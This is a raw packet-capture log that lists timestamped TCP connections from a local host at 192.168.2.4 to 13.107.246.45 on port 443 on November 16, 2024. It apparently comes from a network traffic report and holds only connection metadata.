Nov 16, 2024 20:13:08.257764101 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.257827997 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.257837057 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.257844925 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.257848978 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.264811039 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.264837027 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.265938997 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.266136885 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.266146898 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.283056021 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.283162117 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.283252001 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.283400059 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.283415079 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.283436060 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.283442020 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.285443068 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.285469055 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.285552979 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.285689116 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.285717010 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.540448904 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.540484905 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.735462904 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.736126900 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.736160040 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.736646891 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.736653090 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.865449905 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.865546942 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.865605116 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.866102934 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.866122007 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.871591091 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.871634007 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.871706009 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.871882915 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.871901035 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.965112925 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.965979099 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.965996981 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.966747999 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.966753006 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.982105017 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.982554913 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.982614994 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.982844114 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.982860088 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.015049934 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.015476942 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.015497923 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.015887976 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.015894890 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.017553091 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.017780066 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.017796993 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.018101931 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.018114090 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.097426891 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.097470045 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.097695112 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.097771883 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.097771883 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.097790003 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.097803116 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.100924015 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.101027966 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.101126909 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.101325035 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.101362944 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.114598989 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.114840031 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.114909887 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.115086079 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.115087032 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.115130901 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.115163088 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.117038012 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.117052078 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.117124081 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.117250919 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.117264986 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.145783901 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.145952940 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.146049023 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.146049023 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.146070957 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.146080017 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.148169994 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.148207903 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.148291111 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.148415089 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.148443937 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.151278019 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.151364088 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.151429892 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.151500940 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.151524067 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.151549101 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.151562929 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.153456926 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.153556108 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.153647900 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.153788090 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.153825998 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.604918957 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.605637074 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.605657101 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.606142044 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.606147051 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.732810020 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.733249903 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.733453035 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.733453035 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.733453035 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.736457109 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.736545086 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.736643076 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.736785889 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.736819029 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.869980097 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.872308016 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.872389078 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.872742891 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.873085022 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.873100042 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.873590946 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.873603106 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.873950958 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.874301910 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.874306917 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.874771118 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.874840021 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.875466108 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.875480890 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.876188040 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.878652096 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.878667116 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:09.879205942 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:09.879216909 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.002826929 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.003026962 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.003089905 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.003360987 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.003360987 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.003401995 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.003439903 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.004636049 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.005419970 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.005502939 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.005987883 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.005987883 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.006026030 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.006057024 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.006489992 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.006644964 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.006712914 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.007222891 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.007224083 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.007240057 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.007261992 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.008718967 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.008781910 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.008855104 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.009340048 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.009565115 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.009620905 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.010772943 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.010813951 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.010896921 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.011245012 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.011286974 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.011373997 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.011389017 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.011399031 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.011404037 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.011535883 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.011554003 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.013263941 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013303041 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.013365984 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013463974 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013489962 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.013541937 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013569117 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013586998 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.013714075 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.013729095 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.040194035 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.040200949 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.470815897 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.471434116 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.471466064 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.471915007 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.471934080 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.601206064 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.601414919 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.601491928 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.601582050 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.601629019 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.601660013 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.601676941 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.604779959 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.604827881 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.604897976 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.605067968 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.605082035 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.741612911 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.742181063 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.742230892 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.742643118 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.742655993 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.751409054 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.751688957 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.751718998 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.752067089 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.752074003 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.752909899 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.753262043 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.753351927 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.753420115 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.753436089 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.782378912 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.782844067 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.782866955 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.783260107 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.783265114 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.869599104 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.869760036 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.869849920 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.870311975 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.870311975 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.870356083 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.870383024 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.873565912 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.873594999 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.873768091 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.874011993 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.874025106 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.882469893 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.882661104 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.882715940 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.882774115 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.882774115 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.882791996 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.882802963 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.885262966 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.885302067 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.885551929 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.885727882 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.885742903 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.888421059 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.888443947 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.888572931 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.888633013 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.888633013 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.888730049 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.888772011 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.888807058 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.888823986 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.890605927 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.890676975 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.890754938 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.890923977 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.890955925 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.922631025 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.922693014 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.922769070 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.922781944 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.923253059 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.923264980 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.923274040 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.923736095 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.923841000 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.923934937 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.927869081 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.927908897 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:10.928093910 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.928234100 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:10.928246975 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.352193117 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.352762938 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.352783918 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.353243113 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.353249073 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483172894 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483284950 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483366013 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.483387947 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483500004 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483572006 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.483679056 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.483699083 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.483712912 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.483720064 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.487013102 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.487044096 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.487126112 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.487286091 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.487301111 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.625293970 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.625904083 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.625926018 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.626388073 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.626398087 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.626466036 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.626842022 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.626857996 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.627172947 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.627177954 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.634710073 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.635013103 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.635075092 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.635349035 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.635364056 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.672921896 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.676182032 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.676199913 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.676635981 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.676642895 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.756498098 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.756679058 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.756753922 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.756798029 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.756860018 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.756916046 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.756932974 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.757005930 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.757033110 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.757066965 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.757070065 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.757100105 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.757121086 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.757122993 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.757132053 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.757143021 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.757147074 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.760479927 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760500908 CET	443	49928	13.107.246.45	192.168.2.4
